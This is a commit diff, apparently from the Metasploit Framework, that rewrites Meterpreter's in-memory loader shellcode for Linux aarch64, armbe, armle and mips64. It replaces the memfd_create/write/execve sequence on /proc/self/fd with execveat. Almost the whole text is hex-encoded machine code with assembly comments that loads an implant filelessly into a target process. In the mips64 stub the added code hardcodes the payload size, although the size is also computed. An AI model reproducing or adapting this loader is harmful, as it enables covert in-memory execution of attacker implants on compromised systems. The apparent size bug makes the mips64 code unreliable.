Skip to content

Commit bf5dbcf

Browse files
committed
Uses execveat syscall to make loader stub smaller
1 parent e9abbf5 commit bf5dbcf

File tree

11 files changed

+259
-493
lines changed

11 files changed

+259
-493
lines changed

lib/msf/core/payload/linux/aarch64/meterpreter_loader.rb

Lines changed: 27 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -7,56 +7,32 @@
77
module Msf::Payload::Linux::Aarch64::MeterpreterLoader
88
def in_memory_load(payload)
99
in_memory_loader = [
10-
11-
#memfd_create(null, MFD_CLOEXEC);
12-
0x0a0080d2, # 0x1000: mov x10, #0 0x0a0080d2
13-
0xea0300f9, # 0x1004: str x10, [sp] 0xea0300f9
14-
0xe0030091, # 0x1008: mov x0, sp 0xe0030091
15-
0x210080d2, # 0x100c: mov x1, #1 0x210080d2
16-
0xe82280d2, # 0x1010: mov x8, #0x117 0xe82280d2
17-
0x010000d4, # 0x1014: svc #0 0x010000d4
18-
19-
#use branching and branching with link to reliably get address of payload data
20-
0xe90300aa, # 0x1018: mov x9, x0 0xe90300aa
21-
0x1f000014, # 0x101c: b #0x1098 0x1f000014
22-
0xea031eaa, # 0x1020: mov x10, x30 0xea031eaa
23-
24-
#write(fd,payload_addr, payload_size)
25-
0x420140b9, # 0x1024: ldr w2, [x10] 0x420140b9
26-
0x4a890091, # 0x1028: add x10, x10, #0x22 0x4a890091
27-
0xe1030aaa, # 0x102c: mov x1, x10 0xe1030aaa
28-
0x080880d2, # 0x1030: mov x8, #0x40 0x080880d2
29-
0x010000d4, # 0x1034: svc #0 0x010000d4
30-
31-
#convert fd using itoa and append it to /proc/self/fd/
32-
0x4b0180d2, # 0x1038: mov x11, #0xa 0x4b0180d2
33-
0x4a0900d1, # 0x103c: sub x10, x10, #2 0x4a0900d1
34-
0x2c09cb9a, # 0x1040: udiv x12, x9, x11 0x2c09cb9a
35-
0x8d7d0b9b, # 0x1044: mul x13, x12, x11 0x8d7d0b9b
36-
0x2d010dcb, # 0x1048: sub x13, x9, x13 0x2d010dcb
37-
0xe9030caa, # 0x104c: mov x9, x12 0xe9030caa
38-
0xadc10091, # 0x1050: add x13, x13, #0x30 0xadc10091
39-
0x4d010039, # 0x1054: strb w13, [x10] 0x4d010039
40-
0x4a0500d1, # 0x1058: sub x10, x10, #1 0x4a0500d1
41-
0x3f0100f1, # 0x105c: cmp x9, #0 0x3f0100f1
42-
0x01ffff54, # 0x1060: b.ne #0x1040 0x01ffff54
43-
0xe90580d2, # 0x1064: mov x9, #0x2f 0xe90580d2
44-
0x4b014039, # 0x1068: ldrb w11, [x10] 0x4b014039
45-
0x7f0109eb, # 0x106c: cmp x11, x9 0x7f0109eb
46-
0x80000054, # 0x1070: b.eq #0x1080 0x80000054
47-
0x49010039, # 0x1074: strb w9, [x10] 0x49010039
48-
0x4a0500d1, # 0x1078: sub x10, x10, #1 0x4a0500d1
49-
0xfaffff17, # 0x107c: b #0x1064 0xfaffff17
50-
0x4a3500d1, # 0x1080: sub x10, x10, #0xd 0x4a3500d1
51-
#execve(/proc/self/fd/[fd],0,0)
52-
0xe0030aaa, # 0x1084: mov x0, x10 0xe0030aaa
53-
0x010080d2, # 0x1088: mov x1, #0 0x010080d2
54-
0x020080d2, # 0x108c: mov x2, #0 0x020080d2
55-
0xa81b80d2, # 0x1090: mov x8, #0xdd 0xa81b80d2
56-
0x010000d4, # 0x1094: svc #0 0x010000d4
57-
0xe2ffff97, # 0x1098: bl #0x1020 0xe2ffff97,
58-
].pack('N*')
59-
fd_path = '/proc/self/fd/'.bytes.pack('c*') + "\x00" * 16
60-
in_memory_loader + [payload.length].pack("V*") + fd_path
10+
0x0a0080d2, #0x1000: mov x10, #0 0x0a0080d2
11+
0xea0300f9, #0x1004: str x10, [sp] 0xea0300f9
12+
0xe0030091, #0x1008: mov x0, sp 0xe0030091
13+
0x210080d2, #0x100c: mov x1, #1 0x210080d2
14+
0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2
15+
0x010000d4, #0x1014: svc #0 0x010000d4
16+
0xe90300aa, #0x1018: mov x9, x0 0xe90300aa
17+
0x10000014, #0x101c: b #0x105c 0x10000014
18+
0xea031eaa, #0x1020: mov x10, x30 0xea031eaa
19+
0x420140b9, #0x1024: ldr w2, [x10] 0x420140b9
20+
0x4a110091, #0x1028: add x10, x10, #4 0x4a110091
21+
0xe1030aaa, #0x102c: mov x1, x10 0xe1030aaa
22+
0x080880d2, #0x1030: mov x8, #0x40 0x080880d2
23+
0x010000d4, #0x1034: svc #0 0x010000d4
24+
0xe00309aa, #0x1038: mov x0, x9 0xe00309aa
25+
0x0a0080d2, #0x103c: mov x10, #0 0x0a0080d2
26+
0xea0300f9, #0x1040: str x10, [sp] 0xea0300f9
27+
0xe1030091, #0x1044: mov x1, sp 0xe1030091
28+
0x020080d2, #0x1048: mov x2, #0 0x020080d2
29+
0x030080d2, #0x104c: mov x3, #0 0x030080d2
30+
0x040082d2, #0x1050: mov x4, #0x1000 0x040082d2
31+
0x282380d2, #0x1054: mov x8, #0x119 0x282380d2
32+
0x010000d4, #0x1058: svc #0 0x010000d4
33+
0xf1ffff97, #0x105c: bl #0x1020 0xf1ffff97
34+
]
35+
.pack('N*')
36+
in_memory_loader + [payload.length].pack("V*")
6137
end
6238
end

lib/msf/core/payload/linux/armbe/meterpreter_loader.rb

Lines changed: 26 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -8,58 +8,31 @@
88
module Msf::Payload::Linux::Armbe::MeterpreterLoader
99
def in_memory_load(payload)
1010
in_memory_loader = [
11-
#memfd_create(null, MFD_CLOEXEC)
12-
0x0020a0e3, # 0x1000: mov r2, #0 0x0020a0e3
13-
0x04202de5, # 0x1004: str r2, [sp, #-4]! 0x04202de5
14-
0x0d00a0e1, # 0x1008: mov r0, sp 0x0d00a0e1
15-
0x0110a0e3, # 0x100c: mov r1, #1 0x0110a0e3
16-
0x8370a0e3, # 0x1010: mov r7, #0x83 0x8370a0e3
17-
0xfe7087e2, # 0x1014: add r7, r7, #0xfe 0xfe7087e2
18-
0x000000ef, # 0x1018: svc #0 0x000000ef
19-
20-
#save fd to r3
21-
0x0030a0e1, # 0x101c: mov r3, r0 0x0030a0e1
22-
23-
#use branch and branch with linking to get address of payload data
24-
0x1d0000ea, # 0x1020: b #0x109c 0x1d0000ea
25-
0x0e10a0e1, # 0x1024: mov r1, lr 0x0e10a0e1
26-
27-
#write(fd,payload, payload_length)
28-
0x002091e5, # 0x1028: ldr r2, [r1] 0x002091e5
29-
0x261081e2, # 0x102c: add r1, r1, #0x26 0x261081e2
30-
0x0470a0e3, # 0x1030: mov r7, #4 0x0470a0e3
31-
0x000000ef, # 0x1034: svc #0 0x000000ef
32-
33-
#use custom itoa to convert fd into string and append it to /proc/self/fd/
34-
0x021041e2, # 0x1038: sub r1, r1, #2 0x021041e2
35-
0x01a0a0e1, # 0x103c: mov sl, r1 0x01a0a0e1
36-
0x0a20a0e3, # 0x1040: mov r2, #0xa 0x0a20a0e3
37-
0x13f234e7, # 0x1044: udiv r4, r3, r2 0x13f234e7
38-
0x940205e0, # 0x1048: mul r5, r4, r2 0x940205e0
39-
0x055043e0, # 0x104c: sub r5, r3, r5 0x055043e0
40-
0x0430a0e1, # 0x1050: mov r3, r4 0x0430a0e1
41-
0x305085e2, # 0x1054: add r5, r5, #0x30 0x305085e2
42-
0x0050cae5, # 0x1058: strb r5, [sl] 0x0050cae5
43-
0x01a04ae2, # 0x105c: sub sl, sl, #1 0x01a04ae2
44-
0x000054e3, # 0x1060: cmp r4, #0 0x000054e3
45-
0xf6ffff1a, # 0x1064: bne #0x1044 0xf6ffff1a
46-
0x2f90a0e3, # 0x1068: mov sb, #0x2f 0x2f90a0e3
47-
0x00b0dae5, # 0x106c: ldrb fp, [sl] 0x00b0dae5
48-
0x09005be1, # 0x1070: cmp fp, sb 0x09005be1
49-
0x0200000a, # 0x1074: beq #0x1084 0x0200000a
50-
0x0090cae5, # 0x1078: strb sb, [sl] 0x0090cae5
51-
0x01a04ae2, # 0x107c: sub sl, sl, #1 0x01a04ae2
52-
0xf9ffffea, # 0x1080: b #0x106c 0xf9ffffea
53-
0x0da04ae2, # 0x1084: sub sl, sl, #0xd 0x0da04ae2
54-
#execve(/proc/self/fd/[fd],0,0)
55-
0x0a00a0e1, # 0x1088: mov r0, sl 0x0a00a0e1
56-
0x0010a0e3, # 0x108c: mov r1, #0 0x0010a0e3
57-
0x0020a0e3, # 0x1090: mov r2, #0 0x0020a0e3
58-
0x0b70a0e3, # 0x1094: mov r7, #0xb 0x0b70a0e3
59-
0x000000ef, # 0x1098: svc #0 0x000000ef
60-
0xe0ffffeb, # 0x109c: bl #0x1024 0xe0ffffeb
61-
].pack('V*')
62-
fd_path = '/proc/self/fd/'.bytes.pack('C*') + "\x00" * 16
63-
in_memory_loader + [payload.length, 0x00000123].pack('N*') + fd_path
11+
0x0020a0e3, #0x1000: mov r2, #0 0x0020a0e3
12+
0x04202de5, #0x1004: str r2, [sp, #-4]! 0x04202de5
13+
0x0d00a0e1, #0x1008: mov r0, sp 0x0d00a0e1
14+
0x0110a0e3, #0x100c: mov r1, #1 0x0110a0e3
15+
0x8370a0e3, #0x1010: mov r7, #0x83 0x8370a0e3
16+
0xfe7087e2, #0x1014: add r7, r7, #0xfe 0xfe7087e2
17+
0x000000ef, #0x1018: svc #0 0x000000ef
18+
0x0030a0e1, #0x101c: mov r3, r0 0x0030a0e1
19+
0x0c0000ea, #0x1020: b #0x1058 0x0c0000ea
20+
0x0e10a0e1, #0x1024: mov r1, lr 0x0e10a0e1
21+
0x002091e5, #0x1028: ldr r2, [r1] 0x002091e5
22+
0x041081e2, #0x102c: add r1, r1, #4 0x041081e2
23+
0x0470a0e3, #0x1030: mov r7, #4 0x0470a0e3
24+
0x000000ef, #0x1034: svc #0 0x000000ef
25+
0x0300a0e1, #0x1038: mov r0, r3 0x0300a0e1
26+
0x0020a0e3, #0x103c: mov r2, #0 0x0020a0e3
27+
0x04202de5, #0x1040: str r2, [sp, #-4]! 0x04202de5
28+
0x0d10a0e1, #0x1044: mov r1, sp 0x0d10a0e1
29+
0x0030a0e3, #0x1048: mov r3, #0 0x0030a0e3
30+
0x014aa0e3, #0x104c: mov r4, #0x1000 0x014aa0e3
31+
0x837100e3, #0x1050: movw r7, #0x183 0x837100e3
32+
0x000000ef, #0x1054: svc #0 0x000000ef
33+
0xf1ffffeb, #0x1058: bl #0x1024 0xf1ffffeb
34+
35+
].pack('V*')
36+
in_memory_loader + [payload.length].pack('N*')
6437
end
6538
end

lib/msf/core/payload/linux/armle/meterpreter_loader.rb

Lines changed: 26 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -7,61 +7,31 @@
77
module Msf::Payload::Linux::Armle::MeterpreterLoader
88
def in_memory_load(payload)
99
in_memory_loader = [
10-
11-
#memfd_create(null, MFD_CLOEXEC)
12-
0xe3a02000, #0x1000: mov r2, #0 0xe3a02000
13-
0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004
14-
0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d
15-
0xe3a01001, #0x100c: mov r1, #1 0xe3a01001
16-
0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083
17-
0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe
18-
0xef000000, #0x1018: svc #0 0xef000000
19-
#save fd to r3
20-
0xe1a03000, #0x101c: mov r3, r0 0xe1a03000
21-
22-
#use branch and branch with linking to get address of payload data
23-
0xea00001d, #0x1020: b #0x109c 0xea00001d
24-
0xe1a0100e, #0x1024: mov r1, lr 0xe1a0100e
25-
26-
#write(fd,payload, payload_length)
27-
0xe5912000, #0x1028: ldr r2, [r1] 0xe5912000
28-
0xe2811026, #0x102c: add r1, r1, #0x26 0xe2811026
29-
0xe3a07004, #0x1030: mov r7, #4 0xe3a07004
30-
0xef000000, #0x1034: svc #0 0xef000000
31-
32-
#use custom itoa to convert fd into string and append it to /proc/self/fd/
33-
0xe2411002, #0x1038: sub r1, r1, #2 0xe2411002
34-
0xe1a0a001, #0x103c: mov sl, r1 0xe1a0a001
35-
0xe3a0200a, #0x1040: mov r2, #0xa 0xe3a0200a
36-
0xe734f213, #0x1044: udiv r4, r3, r2 0xe734f213
37-
0xe0050294, #0x1048: mul r5, r4, r2 0xe0050294
38-
0xe0435005, #0x104c: sub r5, r3, r5 0xe0435005
39-
0xe1a03004, #0x1050: mov r3, r4 0xe1a03004
40-
0xe2855030, #0x1054: add r5, r5, #0x30 0xe2855030
41-
0xe5ca5000, #0x1058: strb r5, [sl] 0xe5ca5000
42-
0xe24aa001, #0x105c: sub sl, sl, #1 0xe24aa001
43-
0xe3540000, #0x1060: cmp r4, #0 0xe3540000
44-
0x1afffff6, #0x1064: bne #0x1044 0x1afffff6
45-
0xe3a0902f, #0x1068: mov sb, #0x2f 0xe3a0902f
46-
0xe5dab000, #0x106c: ldrb fp, [sl] 0xe5dab000
47-
0xe15b0009, #0x1070: cmp fp, sb 0xe15b0009
48-
0x0a000002, #0x1074: beq #0x1084 0x0a000002
49-
0xe5ca9000, #0x1078: strb sb, [sl] 0xe5ca9000
50-
0xe24aa001, #0x107c: sub sl, sl, #1 0xe24aa001
51-
0xeafffff9, #0x1080: b #0x106c 0xeafffff9
52-
0xe24aa00d, #0x1084: sub sl, sl, #0xd 0xe24aa00d
53-
#execve(/proc/self/fd/[fd],0,0)
54-
0xe1a0000a, #0x1088: mov r0, sl 0xe1a0000a
55-
0xe3a01000, #0x108c: mov r1, #0 0xe3a01000
56-
0xe3a02000, #0x1090: mov r2, #0 0xe3a02000
57-
0xe3a0700b, #0x1094: mov r7, #0xb 0xe3a0700b
58-
0xef000000, #0x1098: svc #0 0xef000000
59-
0xebffffe0, #0x109c: bl #0x1024 0xebffffe0
60-
61-
payload.length,
62-
0x00000123 # .word
63-
].pack('V*')
64-
fd_path = '/proc/self/fd/'.bytes.pack('C*') + "\x00" * 16
65-
in_memory_loader + fd_path
10+
0xe3a02000, #0x1000: mov r2, #0 0xe3a02000
11+
0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004
12+
0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d
13+
0xe3a01001, #0x100c: mov r1, #1 0xe3a01001
14+
0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083
15+
0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe
16+
0xef000000, #0x1018: svc #0 0xef000000
17+
0xe1a03000, #0x101c: mov r3, r0 0xe1a03000
18+
0xea00000c, #0x1020: b #0x1058 0xea00000c
19+
0xe1a0100e, #0x1024: mov r1, lr 0xe1a0100e
20+
0xe5912000, #0x1028: ldr r2, [r1] 0xe5912000
21+
0xe2811004, #0x102c: add r1, r1, #4 0xe2811004
22+
0xe3a07004, #0x1030: mov r7, #4 0xe3a07004
23+
0xef000000, #0x1034: svc #0 0xef000000
24+
0xe1a00003, #0x1038: mov r0, r3 0xe1a00003
25+
0xe3a02000, #0x103c: mov r2, #0 0xe3a02000
26+
0xe52d2004, #0x1040: str r2, [sp, #-4]! 0xe52d2004
27+
0xe1a0100d, #0x1044: mov r1, sp 0xe1a0100d
28+
0xe3a03000, #0x1048: mov r3, #0 0xe3a03000
29+
0xe3a04a01, #0x104c: mov r4, #0x1000 0xe3a04a01
30+
0xe3007183, #0x1050: movw r7, #0x183 0xe3007183
31+
0xef000000, #0x1054: svc #0 0xef000000
32+
0xebfffff1, #0x1058: bl #0x1024 0xebfffff1
33+
payload.length
34+
].pack('V*')
35+
in_memory_loader
6636
end
6737
end

lib/msf/core/payload/linux/mips64/meterpreter_loader.rb

Lines changed: 30 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -10,56 +10,36 @@ def in_memory_load(payload)
1010
size_h = size >> 16
1111
size_l = size & 0x0000ffff
1212
in_memory_loader = [
13-
0x00001025, # move v0,zero
14-
0x04510000, # bgezal v0,8 <myself>
15-
0x00000000, # nop
16-
0x00000000, # nop
17-
0x03e02025, # move a0,ra
18-
0x27ff00b8, # addiu ra,ra,92
19-
0x2419fffe, # li t9,-2
20-
0x03202827, # nor a1,t9,zero
21-
0x340214c2, # li v0,0x14c2
22-
0x0101010c, # syscall 0x40404
23-
0x03e02825, # move a1,ra
24-
(0x3c06 << 16 | size_h), # lui a2,0x17
25-
(0x34c6 << 16 | size_l), # ori a2,a2,0x2fb8
26-
0x00402025, # move a0,v0
27-
0x0080c825, # move t9,a0
28-
0x34021389, # li v0,0x1389
29-
0x0101010c, # syscall 0x40404
30-
0x27e7fffe, # addiu a3,ra,-2
31-
0x2418000a, # li t8,10
32-
0x24050016, # li a1,23
33-
0x13200011, # beqz t9,98 <execve>
34-
0x00000000, # bnez t8,60 <itoa+0x10>
35-
0x0338001a, # div zero,t9,t8
36-
0x00000000, # break 0x7
37-
0x2401ffff, # li at,-1
38-
0x17010004, # bne t8,at,78 <itoa+0x28>
39-
0x3c018000, # lui at,0x8000
40-
0x17210002, # bne t9,at,78 <itoa+0x28>
41-
0x00000000, # nop
42-
0x00000000, # break 0x6
43-
0x0000c812, # mflo t9
44-
0x0000c812, # mflo t9
45-
0x00007810, # mfhi t3
46-
0x25ef0030, # addiu t3,t3,48
47-
0xa0ef0000, # sb t3,0(a3)
48-
0x24a5ffff, # addiu a1,a1,-1
49-
0x24e7ffff, # addiu a3,a3,-1
50-
0x1000ffee, # b 50 <itoa>
51-
0x00e52022, # sub a0,a3,a1
52-
0x2805ffff, # slti a1,zero,-1
53-
0x2806ffff, # slti a2,zero,-1
54-
0x340213c1, # li v0,0xfab
55-
0x0101010c, # syscall 0x40404
56-
0x2f70726f, # sltiu s0,k1,29295
57-
0x632f7365, # daddi t3,t9,29541
58-
0x6c662f66, # ldr a2,12134(v1)
59-
0x642f2f2f, # daddiu t3,at,12079
60-
0x2f2f2f2f, # sltiu t3,t9,12079
61-
0x2f2f2f00, # sltiu t3,t9,12032
13+
14+
0x04110000, #0x1000: bal 0x1004 0x04110000
15+
0x00000000, #0x1004: nop 0x00000000
16+
0x03e02025, #0x1008: move $a0, $ra 0x03e02025
17+
0x27ff005c, #0x100c: addiu $ra, $ra, 0x5c 0x27ff005c
18+
0x2419fffe, #0x1010: addiu $t9, $zero, -2 0x2419fffe
19+
0x03202827, #0x1014: not $a1, $t9 0x03202827
20+
0x240214c2, #0x1018: addiu $v0, $zero, 0x14c2 0x240214c2
21+
0x0101010c, #0x101c: syscall 0x40404 0x0101010c
22+
0x03e02825, #0x1020: move $a1, $ra 0x03e02825
23+
0x3c060017, #0x1024: lui $a2, 0x17 0x3c060017
24+
0x34c62fb8, #0x1028: ori $a2, $a2, 0x2fb8 0x34c62fb8
25+
0x00402025, #0x102c: move $a0, $v0 0x00402025
26+
0x0080c825, #0x1030: move $t9, $a0 0x0080c825
27+
0x24021389, #0x1034: addiu $v0, $zero, 0x1389 0x24021389
28+
0x0101010c, #0x1038: syscall 0x40404 0x0101010c
29+
0x03202025, #0x103c: move $a0, $t9 0x03202025
30+
0xafa0fffc, #0x1040: sw $zero, -4($sp) 0xafa0fffc
31+
0x27bdfffc, #0x1044: addiu $sp, $sp, -4 0x27bdfffc
32+
0x03a02820, #0x1048: add $a1, $sp, $zero 0x03a02820
33+
0x00003025, #0x104c: move $a2, $zero 0x00003025
34+
0x00003825, #0x1050: move $a3, $zero 0x00003825
35+
0x24191000, #0x1054: addiu $t9, $zero, 0x1000 0x24191000
36+
0xafb90010, #0x1058: sw $t9, 0x10($sp) 0xafb90010
37+
0x240214c4, #0x105c: addiu $v0, $zero, 0x14c4 0x240214c4
38+
0x0101010c, #0x1060: syscall 0x40404 0x0101010c
39+
40+
41+
6242
].pack('N*')
6343
in_memory_loader
6444
end
65-
end
45+
end

0 commit comments

Comments
 (0)